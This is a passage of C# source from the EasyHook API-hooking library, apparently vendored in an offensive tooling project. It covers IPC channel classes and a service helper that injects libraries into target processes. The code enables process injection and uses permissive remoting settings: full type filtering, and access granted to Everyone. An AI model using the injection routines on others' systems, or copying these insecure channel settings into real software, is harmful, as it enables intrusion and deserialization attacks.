_localChannelProperties = serverChannelProperties; 128 | _remoteChannelProperties = serverChannelProperties.GetRemoteEndpointChannelProperties(); 129 | } 130 | 131 | #endregion 132 | 133 | #region Public Methods 134 | 135 | /// 136 | /// Initializes the full duplex connection and calls when the connection is in a full duplex . 137 | /// 138 | /// 139 | public void InitializeConnection(DuplexChannelReadyEventHandler onConnectionReady) 140 | { 141 | CreateServer(); 142 | CreateClient(onConnectionReady); 143 | } 144 | 145 | /// 146 | /// Returns a new proxy to the remote endpoint object. 147 | /// 148 | /// 149 | public TRemoteEndPoint GetRemoteEndPoint() 150 | { 151 | return GetRemoteEndPoint(true); 152 | } 153 | 154 | #endregion 155 | 156 | #region Private Methods 157 | 158 | /// 159 | /// Creates the server side of the current duplex channel. 160 | /// 161 | /// 162 | /// In general, this method must always be called before calling . 163 | /// 164 | private void CreateServer() 165 | { 166 | var provider = new BinaryServerFormatterSinkProvider { TypeFilterLevel = TypeFilterLevel.Full }; 167 | var securityDescriptor = CreateSecurityDescriptor(_localEndPointConfig.AllowedClients); 168 | _serverChannel = new IpcServerChannel(_localChannelProperties.AsDictionary(), provider, securityDescriptor); 169 | ChannelServices.RegisterChannel(_serverChannel, false); 170 | RemotingConfiguration.RegisterWellKnownServiceType(_localEndPointConfig.RemoteObjectType, 171 | _localChannelProperties.EndPointName, 172 | _localEndPointConfig.ObjectMode); 173 | _state |= DuplexChannelState.ServerUp; 174 | } 175 | 176 | /// 177 | /// Initializes the client side of the current duplex channel. 178 | /// is called when the clientside is known to be up. 179 | /// 180 | /// 181 | /// In general, must always be called before using this method. 182 | /// 183 | /// 184 | private void CreateClient(DuplexChannelReadyEventHandler callback) 185 | { 186 | if (_remoteChannelProperties.IsInstantiatorChannel 187 | // The remote endpoint instantiated the channel and must already have set up its server, 188 | // therefore the remote endpoint is always expected to be ready to be connected to. 189 | // Verify this by attempting a connection. 190 | && TryConnectClient()) 191 | { 192 | callback(this); 193 | } 194 | else 195 | { 196 | // Subscribe to the server object using reflection. 197 | // When the client is connected, it signals the server that its own server is ready to be connected to. 198 | DuplexChannelEndPointObject.SubscribeEndPointReadyEvent(_localEndPointConfig.RemoteObjectType, 199 | OnRemoteEndPointSignaledReady, 200 | callback); 201 | } 202 | } 203 | 204 | /// 205 | /// Handles the event of the remote endpoint signalling its ready state. 206 | /// 207 | /// 208 | /// 209 | private void OnRemoteEndPointSignaledReady(object state, EventArgs args) 210 | { 211 | if (!TryConnectClient()) 212 | return; // Remote endpoint is not ready, why did it signal? 213 | var callback = state as DuplexChannelReadyEventHandler; 214 | if (callback != null) 215 | callback(this); 216 | } 217 | 218 | /// 219 | /// Tries to connect as a client in the current duplex channel. 220 | /// is set accordingly. 221 | /// 222 | /// 223 | private bool TryConnectClient() 224 | { 225 | try 226 | { 227 | var remoteEndPoint = GetRemoteEndPoint(false); 228 | remoteEndPoint.SignalEndpointReady(); 229 | _state |= DuplexChannelState.ClientUp; 230 | return true; 231 | } 232 | catch (RemotingException) 233 | { 234 | return false; 235 | } 236 | } 237 | 238 | /// 239 | /// Returns an instance to the remote endpoint. 240 | /// 241 | /// 242 | /// An is thrown if is true 243 | /// and doesn't specify . 244 | /// 245 | /// 246 | /// A is thrown if no valid proxy can be created. 247 | /// 248 | /// Specifies whether or not must be checked first. 249 | /// 250 | private TRemoteEndPoint GetRemoteEndPoint(bool checkChannelStateFirst) 251 | { 252 | if (checkChannelStateFirst 253 | && (_state & DuplexChannelState.ClientUp) != DuplexChannelState.ClientUp) 254 | throw new ApplicationException("Unable to return remote endpoint due to channel state " + _state); 255 | // Get proxy. 256 | var remoteObject = Activator.GetObject(typeof (TRemoteEndPoint), _remoteChannelProperties.Url) as TRemoteEndPoint; 257 | // Verify the proxy instance. 258 | if (remoteObject != null) 259 | remoteObject.Ping(); 260 | else 261 | throw new RemotingException("Unable to create remote interface of type " + typeof (TRemoteEndPoint)); 262 | return remoteObject; 263 | } 264 | 265 | #endregion 266 | 267 | #region Private Static Methods 268 | 269 | /// 270 | /// Asserts the given to be valid. 271 | /// 272 | /// 273 | /// And is thrown if any of 's properties is invalid. 274 | /// The given is set to . 275 | /// 276 | /// 277 | /// 278 | private static void AssertEndpointConfigurationData(EndPointConfigurationData configData, string paramName) 279 | { 280 | if (configData.AllowedClients == null) 281 | throw new ArgumentException("The given EndPointConfigurationData specifies an illegal value for AllowedClients", 282 | paramName); 283 | } 284 | 285 | /// 286 | /// Returns a default based on the given collection of . 287 | /// 288 | /// 289 | /// 290 | private static CommonSecurityDescriptor CreateSecurityDescriptor(ICollection allowedClients) 291 | { 292 | var dacl = new DiscretionaryAcl(false, false, allowedClients.Count); 293 | foreach (var sid in allowedClients) 294 | { 295 | var securityId = new SecurityIdentifier(sid, null); 296 | dacl.AddAccess(AccessControlType.Allow, securityId, -1, InheritanceFlags.None, PropagationFlags.None); 297 | } 298 | const ControlFlags controlFlags = 299 | ControlFlags.GroupDefaulted | ControlFlags.OwnerDefaulted | ControlFlags.DiscretionaryAclPresent; 300 | var securityDescriptor = new CommonSecurityDescriptor(false, false, controlFlags, null, null, null, dacl); 301 | return securityDescriptor; 302 | } 303 | 304 | #endregion 305 | 306 | } 307 | } 308 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/IPC/DuplexChannelEndPointObject.cs: -------------------------------------------------------------------------------- 1 | /* 2 | EasyHook - The reinvention of Windows API hooking 3 | 4 | Copyright (C) 2009-2010 EasyHook 5 | 6 | This library is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU Lesser General Public 8 | License as published by the Free Software Foundation; either 9 | version 2.1 of the License, or (at your option) any later version. 10 | 11 | This library is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | Lesser General Public License for more details. 15 | 16 | You should have received a copy of the GNU Lesser General Public 17 | License along with this library; if not, write to the Free Software 18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | 20 | Please visit http://www.codeplex.com/easyhook for more information 21 | about the project and latest updates. 22 | */ 23 | 24 | using System; 25 | using System.Reflection; 26 | 27 | namespace EasyHook.IPC 28 | { 29 | /// 30 | /// The base class of any type representing an endpoint in . 31 | /// 32 | internal abstract class DuplexChannelEndPointObject : EndPointObject 33 | { 34 | 35 | #region Private Constants - Member Names for Reflection 36 | 37 | /// 38 | /// to use when finding a class member through reflection. 39 | /// 40 | private const BindingFlags _BindingFlags = BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.FlattenHierarchy; 41 | /// 42 | /// The name of , 43 | /// to be used with reflection. 44 | /// 45 | private const string _IsEndPointReady = "IsRemoteEndPointReady"; 46 | /// 47 | /// The name of , 48 | /// to be used with reflection. 49 | /// 50 | private const string _Subscribe = "Subscribe"; 51 | 52 | #endregion 53 | 54 | #region Private Variables 55 | 56 | private static EventHandler _onEndPointReady; 57 | private static object _onEndPointReadyState; 58 | private static bool _isEndPointReady; 59 | 60 | #endregion 61 | 62 | #region Internal Members 63 | 64 | /// 65 | /// Signals the remote endpoint that the local endpoint is ready to be connected to. 66 | /// 67 | /// 68 | /// This is an internal method! 69 | /// It is marked public to prevent .NET remoting raising the following RemotingException: 70 | /// "Permission denied: cannot call non-public or static methods remotely." 71 | /// 72 | [Obsolete("For internal use only!")] 73 | public void SignalEndpointReady() 74 | { 75 | _isEndPointReady = true; 76 | if (_onEndPointReady != null) 77 | _onEndPointReady(_onEndPointReadyState, null); 78 | } 79 | 80 | /// 81 | /// Reads, using reflection on , whether the remote endpoint is ready to be connected to. 82 | /// 83 | /// 84 | /// 85 | internal static bool ReadIsRemoteEndPointReadyProperty(Type derivingType) 86 | { 87 | AssertDerivedType(derivingType, "derivingType"); 88 | var isEndpointReady = derivingType.GetProperty(_IsEndPointReady, _BindingFlags); 89 | if (isEndpointReady == null) 90 | return false; 91 | return (bool)isEndpointReady.GetValue(null, null); 92 | } 93 | 94 | /// 95 | /// Subscribes, using reflection on , to an event raised when the remote endpoint signals its ready status. 96 | /// 97 | /// 98 | /// 99 | /// 100 | internal static void SubscribeEndPointReadyEvent(Type derivingType, EventHandler onActivated, object state) 101 | { 102 | AssertDerivedType(derivingType, "derivingType"); 103 | var subscribeMethod = derivingType.GetMethod(_Subscribe, _BindingFlags); 104 | subscribeMethod.Invoke(null, new[] { onActivated, state }); 105 | } 106 | 107 | /// 108 | /// Asserts that the given is a deriving from . 109 | /// 110 | /// 111 | /// 112 | internal new static void AssertDerivedType(Type type, string paramName) 113 | { 114 | if (type == null) 115 | throw new ArgumentNullException(paramName); 116 | if (!typeof(DuplexChannelEndPointObject).IsAssignableFrom(type)) 117 | throw new ArgumentException("The given type must be a type deriving from EndPointObject", paramName); 118 | } 119 | 120 | #endregion 121 | 122 | #region Internal Protected Members 123 | 124 | /// 125 | /// Is marked protected since it's not possible to use reflection on private static members. 126 | /// See . 127 | /// 128 | internal protected static bool IsRemoteEndPointReady 129 | { 130 | get { return _isEndPointReady; } 131 | } 132 | 133 | /// 134 | /// Is marked protected since it's not possible to use reflection on private static members. 135 | /// See . 136 | /// 137 | /// 138 | /// 139 | internal protected static void Subscribe(EventHandler onActivated, object state) 140 | { 141 | _onEndPointReady += onActivated; 142 | _onEndPointReadyState = state; 143 | } 144 | 145 | #endregion 146 | 147 | } 148 | } 149 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/IPC/DuplexChannelReadyEventHandler.cs: -------------------------------------------------------------------------------- 1 | /* 2 | EasyHook - The reinvention of Windows API hooking 3 | 4 | Copyright (C) 2009-2010 EasyHook 5 | 6 | This library is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU Lesser General Public 8 | License as published by the Free Software Foundation; either 9 | version 2.1 of the License, or (at your option) any later version. 10 | 11 | This library is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | Lesser General Public License for more details. 15 | 16 | You should have received a copy of the GNU Lesser General Public 17 | License along with this library; if not, write to the Free Software 18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | 20 | Please visit http://www.codeplex.com/easyhook for more information 21 | about the project and latest updates. 22 | */ 23 | 24 | namespace EasyHook.IPC 25 | { 26 | internal delegate void DuplexChannelReadyEventHandler(DuplexChannel sender) 27 | where TEndPoint : DuplexChannelEndPointObject; 28 | } 29 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/IPC/DuplexChannelState.cs: -------------------------------------------------------------------------------- 1 | /* 2 | EasyHook - The reinvention of Windows API hooking 3 | 4 | Copyright (C) 2009-2010 EasyHook 5 | 6 | This library is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU Lesser General Public 8 | License as published by the Free Software Foundation; either 9 | version 2.1 of the License, or (at your option) any later version. 10 | 11 | This library is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | Lesser General Public License for more details. 15 | 16 | You should have received a copy of the GNU Lesser General Public 17 | License along with this library; if not, write to the Free Software 18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | 20 | Please visit http://www.codeplex.com/easyhook for more information 21 | about the project and latest updates. 22 | */ 23 | 24 | using System; 25 | 26 | namespace EasyHook.IPC 27 | { 28 | /// 29 | /// Defines the state of a . 30 | /// 31 | [Flags] 32 | internal enum DuplexChannelState 33 | { 34 | /// 35 | /// The channel is down. 36 | /// 37 | Down = 0x00, 38 | /// 39 | /// The remote endpoint is able to send messages to the local endpoint. 40 | /// 41 | ServerUp = 0x01, 42 | /// 43 | /// The local endpoint is able to send messages to the remote endpoint. 44 | /// 45 | ClientUp = 0x02, 46 | /// 47 | /// Both endpoints can communicate in either direction. 48 | /// 49 | FullDuplex = 0x03 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/IPC/EndPointConfigurationData.cs: -------------------------------------------------------------------------------- 1 | /* 2 | EasyHook - The reinvention of Windows API hooking 3 | 4 | Copyright (C) 2009-2010 EasyHook 5 | 6 | This library is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU Lesser General Public 8 | License as published by the Free Software Foundation; either 9 | version 2.1 of the License, or (at your option) any later version. 10 | 11 | This library is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | Lesser General Public License for more details. 15 | 16 | You should have received a copy of the GNU Lesser General Public 17 | License along with this library; if not, write to the Free Software 18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | 20 | Please visit http://www.codeplex.com/easyhook for more information 21 | about the project and latest updates. 22 | */ 23 | 24 | using System; 25 | using System.Collections.Generic; 26 | using System.Runtime.Remoting; 27 | using System.Security.Principal; 28 | 29 | namespace EasyHook.IPC 30 | { 31 | /// 32 | /// Wraps all data required for instantiating the local endpoint's server for an IPC channel. 33 | /// 34 | /// 35 | /// This class is generic in order to be able to check at compile time. 36 | /// 37 | public struct EndPointConfigurationData 38 | where TEndPoint : EndPointObject 39 | { 40 | 41 | #region Variables 42 | 43 | private ICollection _allowedClients; 44 | private WellKnownObjectMode _objectMode; 45 | 46 | #endregion 47 | 48 | #region Properties 49 | 50 | /// 51 | /// Gets the type which provides the method implementations this server should provide. 52 | /// 53 | public Type RemoteObjectType 54 | { 55 | get { return typeof(TEndPoint); } 56 | } 57 | 58 | /// 59 | /// Gets or sets the specifying how calls to the server must be handled. 60 | /// 61 | /// 62 | /// Use if you want to handle each call in an new object instance, 63 | /// otherwise. 64 | /// The latter will implicitly allow you to use "static" remote variables. 65 | /// 66 | public WellKnownObjectMode ObjectMode 67 | { 68 | get { return _objectMode; } 69 | set { _objectMode = value; } 70 | } 71 | 72 | /// 73 | /// Gets or sets the collection of all authenticated users allowed to access the remoting channel. 74 | /// 75 | public ICollection AllowedClients 76 | { 77 | get { return _allowedClients; } 78 | set 79 | { 80 | if (value == null) 81 | throw new ArgumentNullException("value"); 82 | if (value.Count == 0) 83 | throw new ArgumentException(); 84 | _allowedClients = value; 85 | } 86 | } 87 | 88 | #endregion 89 | 90 | #region Public Methods 91 | 92 | /// 93 | /// Initializes a new instance of 94 | /// using the given and default values. 95 | /// 96 | public static EndPointConfigurationData InitializeDefault() 97 | { 98 | return new EndPointConfigurationData 99 | { 100 | _allowedClients = 101 | new List {WellKnownSidType.BuiltinAdministratorsSid, WellKnownSidType.WorldSid}, 102 | _objectMode = WellKnownObjectMode.Singleton 103 | }; 104 | } 105 | 106 | #endregion 107 | 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/IPC/EndPointObject.cs: -------------------------------------------------------------------------------- 1 | /* 2 | EasyHook - The reinvention of Windows API hooking 3 | 4 | Copyright (C) 2009-2010 EasyHook 5 | 6 | This library is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU Lesser General Public 8 | License as published by the Free Software Foundation; either 9 | version 2.1 of the License, or (at your option) any later version. 10 | 11 | This library is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | Lesser General Public License for more details. 15 | 16 | You should have received a copy of the GNU Lesser General Public 17 | License along with this library; if not, write to the Free Software 18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | 20 | Please visit http://www.codeplex.com/easyhook for more information 21 | about the project and latest updates. 22 | */ 23 | 24 | using System; 25 | using System.Runtime.Remoting; 26 | 27 | namespace EasyHook.IPC 28 | { 29 | /// 30 | /// The base class of any type representing an endpoint in 's IPC framework. 31 | /// 32 | public abstract class EndPointObject : MarshalByRefObject 33 | { 34 | 35 | #region Public Members 36 | 37 | // ToDo: If project is updated to .NET3.5 or above, implement extension method TryPing() 38 | /// 39 | /// If no exception is thrown, the IPC connection is expected to be working. 40 | /// 41 | /// 42 | /// A is thrown by the CLR if the current object can't be reached. 43 | /// 44 | public void Ping() 45 | { 46 | } 47 | 48 | #endregion 49 | 50 | #region Internal Members 51 | 52 | /// 53 | /// Asserts that the given is a deriving from . 54 | /// 55 | /// 56 | /// 57 | internal static void AssertDerivedType(Type type, string paramName) 58 | { 59 | if (type == null) 60 | throw new ArgumentNullException(paramName); 61 | if (!typeof(EndPointObject).IsAssignableFrom(type)) 62 | throw new ArgumentException("The given type must be a type deriving from EndPointObject", paramName); 63 | } 64 | 65 | #endregion 66 | 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/IPC/SimplexChannel.cs: -------------------------------------------------------------------------------- 1 | /* 2 | EasyHook - The reinvention of Windows API hooking 3 | 4 | Copyright (C) 2009-2010 EasyHook 5 | 6 | This library is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU Lesser General Public 8 | License as published by the Free Software Foundation; either 9 | version 2.1 of the License, or (at your option) any later version. 10 | 11 | This library is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | Lesser General Public License for more details. 15 | 16 | You should have received a copy of the GNU Lesser General Public 17 | License along with this library; if not, write to the Free Software 18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | 20 | Please visit http://www.codeplex.com/easyhook for more information 21 | about the project and latest updates. 22 | */ 23 | 24 | using System; 25 | using System.Collections.Generic; 26 | using System.Runtime.Remoting; 27 | using System.Runtime.Remoting.Channels; 28 | using System.Runtime.Remoting.Channels.Ipc; 29 | using System.Runtime.Serialization.Formatters; 30 | using System.Security.AccessControl; 31 | using System.Security.Principal; 32 | 33 | namespace EasyHook.IPC 34 | { 35 | /// 36 | /// provides a simplex channel (one way communication channel) 37 | /// for communication from one to an other. 38 | /// 39 | internal class SimplexChannel 40 | where TEndPoint : EndPointObject 41 | { 42 | 43 | #region Variables 44 | 45 | private readonly ChannelProperties _channelProperties; 46 | private readonly EndPointConfigurationData _endPointConfig; 47 | private IpcServerChannel _serverChannel; 48 | 49 | #endregion 50 | 51 | #region Properties 52 | 53 | /// 54 | /// Gets the full url of the current . 55 | /// 56 | public string EndPointUrl 57 | { 58 | get { return _channelProperties.Url; } 59 | } 60 | 61 | /// 62 | /// Gets whether the current is initialized. 63 | /// 64 | public bool IsInitialized 65 | { 66 | get { return _serverChannel != null; } 67 | } 68 | 69 | #endregion 70 | 71 | #region Constructors 72 | 73 | /// 74 | /// Initializes a new instance of using the given configuration data. 75 | /// 76 | /// 77 | /// 78 | public SimplexChannel(EndPointConfigurationData endPointConfigurationData) 79 | { 80 | AssertEndpointConfigurationData(endPointConfigurationData, "endPointConfigurationData"); 81 | _channelProperties = ChannelProperties.CreateRandomChannelProperties(); 82 | _endPointConfig = endPointConfigurationData; 83 | } 84 | 85 | #endregion 86 | 87 | #region Public Methods 88 | 89 | /// 90 | /// Initializes the . 91 | /// 92 | public void InitializeChannel() 93 | { 94 | if (IsInitialized) 95 | return; 96 | var provider = new BinaryServerFormatterSinkProvider {TypeFilterLevel = TypeFilterLevel.Full}; 97 | var securityDescriptor = CreateSecurityDescriptor(_endPointConfig.AllowedClients); 98 | _serverChannel = new IpcServerChannel(_channelProperties.AsDictionary(), provider, securityDescriptor); 99 | ChannelServices.RegisterChannel(_serverChannel, false); 100 | RemotingConfiguration.RegisterWellKnownServiceType(_endPointConfig.RemoteObjectType, 101 | _channelProperties.EndPointName, 102 | _endPointConfig.ObjectMode); 103 | } 104 | 105 | #endregion 106 | 107 | #region Private Static Methods 108 | 109 | /// 110 | /// Asserts the given to be valid. 111 | /// 112 | /// 113 | /// 114 | /// 115 | private static void AssertEndpointConfigurationData(EndPointConfigurationData configData, string paramName) 116 | { 117 | if (configData.AllowedClients == null) 118 | throw new ArgumentException( 119 | "The given EndPointConfigurationData specifies an illegal value for " + "AllowedClients", paramName); 120 | } 121 | 122 | /// 123 | /// Returns a default based on the given collection of . 124 | /// 125 | /// 126 | /// 127 | private static CommonSecurityDescriptor CreateSecurityDescriptor(ICollection allowedClients) 128 | { 129 | var dacl = new DiscretionaryAcl(false, false, allowedClients.Count); 130 | foreach (var sid in allowedClients) 131 | { 132 | var securityId = new SecurityIdentifier(sid, null); 133 | dacl.AddAccess(AccessControlType.Allow, securityId, -1, InheritanceFlags.None, PropagationFlags.None); 134 | } 135 | const ControlFlags controlFlags = 136 | ControlFlags.GroupDefaulted | ControlFlags.OwnerDefaulted | ControlFlags.DiscretionaryAclPresent; 137 | var securityDescriptor = new CommonSecurityDescriptor(false, false, controlFlags, null, null, null, dacl); 138 | return securityDescriptor; 139 | } 140 | 141 | #endregion 142 | 143 | } 144 | } 145 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | // EasyHook (File: EasyHook\AssemblyInfo.cs) 2 | // 3 | // Copyright (c) 2009 Christoph Husse & Copyright (c) 2015 Justin Stenning 4 | // 5 | // Permission is hereby granted, free of charge, to any person obtaining a copy 6 | // of this software and associated documentation files (the "Software"), to deal 7 | // in the Software without restriction, including without limitation the rights 8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | // copies of the Software, and to permit persons to whom the Software is 10 | // furnished to do so, subject to the following conditions: 11 | // 12 | // The above copyright notice and this permission notice shall be included in 13 | // all copies or substantial portions of the Software. 14 | // 15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | // THE SOFTWARE. 22 | // 23 | // Please visit https://easyhook.github.io for more information 24 | // about the project and latest updates. 25 | 26 | using System.Reflection; 27 | using System.Runtime.CompilerServices; 28 | using System.Runtime.InteropServices; 29 | 30 | // General Information about an assembly is controlled through the following 31 | // set of attributes. Change these attribute values to modify the information 32 | // associated with an assembly. 33 | [assembly: AssemblyTitle("EasyHook (beta)")] 34 | [assembly: AssemblyDescription("The reinvention of Windows API hooking")] 35 | [assembly: AssemblyConfiguration("")] 36 | [assembly: AssemblyCompany("easyhook.codeplex.com")] 37 | [assembly: AssemblyProduct("EasyHook")] 38 | [assembly: AssemblyCopyright("Copyright (c) 2016 EasyHook Team")] 39 | [assembly: AssemblyTrademark("")] 40 | [assembly: AssemblyCulture("")] 41 | 42 | // Setting ComVisible to false makes the types in this assembly not visible 43 | // to COM components. If you need to access a type in this assembly from 44 | // COM, set the ComVisible attribute to true on that type. 45 | [assembly: ComVisible(false)] 46 | 47 | // The following GUID is for the ID of the typelib if this project is exposed to COM 48 | [assembly: Guid("f05453c0-cb12-471c-942c-992f63c1f5eb")] 49 | 50 | // Version information for an assembly consists of the following four values: 51 | // 52 | // Major Version 53 | // Minor Version 54 | // Build Number 55 | // Revision 56 | // 57 | // You can specify all the values or you can default the Revision and Build Numbers 58 | // by using the '*' as shown below: 59 | [assembly: AssemblyVersion("2.7.0.0")] 60 | [assembly: AssemblyFileVersion("2.7.0.0")] 61 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/ServiceMgmt.cs: -------------------------------------------------------------------------------- 1 | // EasyHook (File: EasyHook\ServiceMgmt.cs) 2 | // 3 | // Copyright (c) 2009 Christoph Husse & Copyright (c) 2015 Justin Stenning 4 | // 5 | // Permission is hereby granted, free of charge, to any person obtaining a copy 6 | // of this software and associated documentation files (the "Software"), to deal 7 | // in the Software without restriction, including without limitation the rights 8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | // copies of the Software, and to permit persons to whom the Software is 10 | // furnished to do so, subject to the following conditions: 11 | // 12 | // The above copyright notice and this permission notice shall be included in 13 | // all copies or substantial portions of the Software. 14 | // 15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | // THE SOFTWARE. 22 | // 23 | // Please visit https://easyhook.github.io for more information 24 | // about the project and latest updates. 25 | 26 | using System; 27 | using System.Collections.Generic; 28 | using System.Text; 29 | using System.Threading; 30 | using System.IO; 31 | using System.Reflection; 32 | 33 | namespace oleaccrt 34 | { 35 | internal class ServiceMgmt 36 | { 37 | private static Mutex m_TermMutex = null; 38 | private static HelperServiceInterface m_Interface = null; 39 | private static Object ThreadSafe = new Object(); 40 | 41 | private static void Install() 42 | { 43 | lock (ThreadSafe) 44 | { 45 | // Ensure we create a new one if the existing 46 | // channel cannot be pinged 47 | try 48 | { 49 | if (m_Interface != null) 50 | m_Interface.Ping(); 51 | } 52 | catch 53 | { 54 | m_Interface = null; 55 | } 56 | 57 | if (m_Interface == null) 58 | { 59 | // create sync objects 60 | String ChannelName = RemoteHooking.GenerateName(); 61 | EventWaitHandle Listening = new EventWaitHandle( 62 | false, 63 | EventResetMode.ManualReset, 64 | "Global\\Event_" + ChannelName); 65 | Mutex TermMutex = new Mutex(true, "Global\\Mutex_" + ChannelName); 66 | 67 | using (TermMutex) 68 | { 69 | // install and start service 70 | NativeAPI.RtlInstallService( 71 | "EasyHook" + (NativeAPI.Is64Bit?"64":"32") + "Svc", 72 | Path.GetFullPath(Config.GetDependantSvcExecutableName()), 73 | ChannelName); 74 | 75 | if (!Listening.WaitOne(5000, true)) 76 | throw new ApplicationException("Unable to wait for service startup."); 77 | 78 | HelperServiceInterface Interface = RemoteHooking.IpcConnectClient(ChannelName); 79 | 80 | Interface.Ping(); 81 | 82 | // now we can be sure that all things are fine... 83 | m_Interface = Interface; 84 | m_TermMutex = TermMutex; 85 | } 86 | } 87 | } 88 | } 89 | 90 | public static void Inject( 91 | Int32 InHostPID, 92 | Int32 InTargetPID, 93 | Int32 InWakeUpTID, 94 | Int32 InNativeOptions, 95 | String InLibraryPath_x86, 96 | String InLibraryPath_x64, 97 | Boolean InRequireStrongName, 98 | params Object[] InPassThruArgs) 99 | { 100 | Install(); 101 | 102 | m_Interface.InjectEx( 103 | InHostPID, 104 | InTargetPID, 105 | InWakeUpTID, 106 | InNativeOptions, 107 | InLibraryPath_x86, 108 | InLibraryPath_x64, 109 | false, 110 | false, 111 | InRequireStrongName, 112 | InPassThruArgs); 113 | } 114 | 115 | public static Object ExecuteAsService( 116 | String InMethodName, 117 | params Object[] InParams) 118 | { 119 | Install(); 120 | 121 | return m_Interface.ExecuteAsService(InMethodName, InParams); 122 | } 123 | } 124 | } 125 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/StrongName.snk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/BuildEnv/v2.7.7097/EasyHook-Managed/StrongName.snk -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/WOW64Bypass.cs: -------------------------------------------------------------------------------- 1 | // EasyHook (File: EasyHook\WOW64Bypass.cs) 2 | // 3 | // Copyright (c) 2009 Christoph Husse & Copyright (c) 2015 Justin Stenning 4 | // 5 | // Permission is hereby granted, free of charge, to any person obtaining a copy 6 | // of this software and associated documentation files (the "Software"), to deal 7 | // in the Software without restriction, including without limitation the rights 8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | // copies of the Software, and to permit persons to whom the Software is 10 | // furnished to do so, subject to the following conditions: 11 | // 12 | // The above copyright notice and this permission notice shall be included in 13 | // all copies or substantial portions of the Software. 14 | // 15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | // THE SOFTWARE. 22 | // 23 | // Please visit https://easyhook.github.io for more information 24 | // about the project and latest updates. 25 | 26 | using System; 27 | using System.Collections.Generic; 28 | using System.Text; 29 | using System.Threading; 30 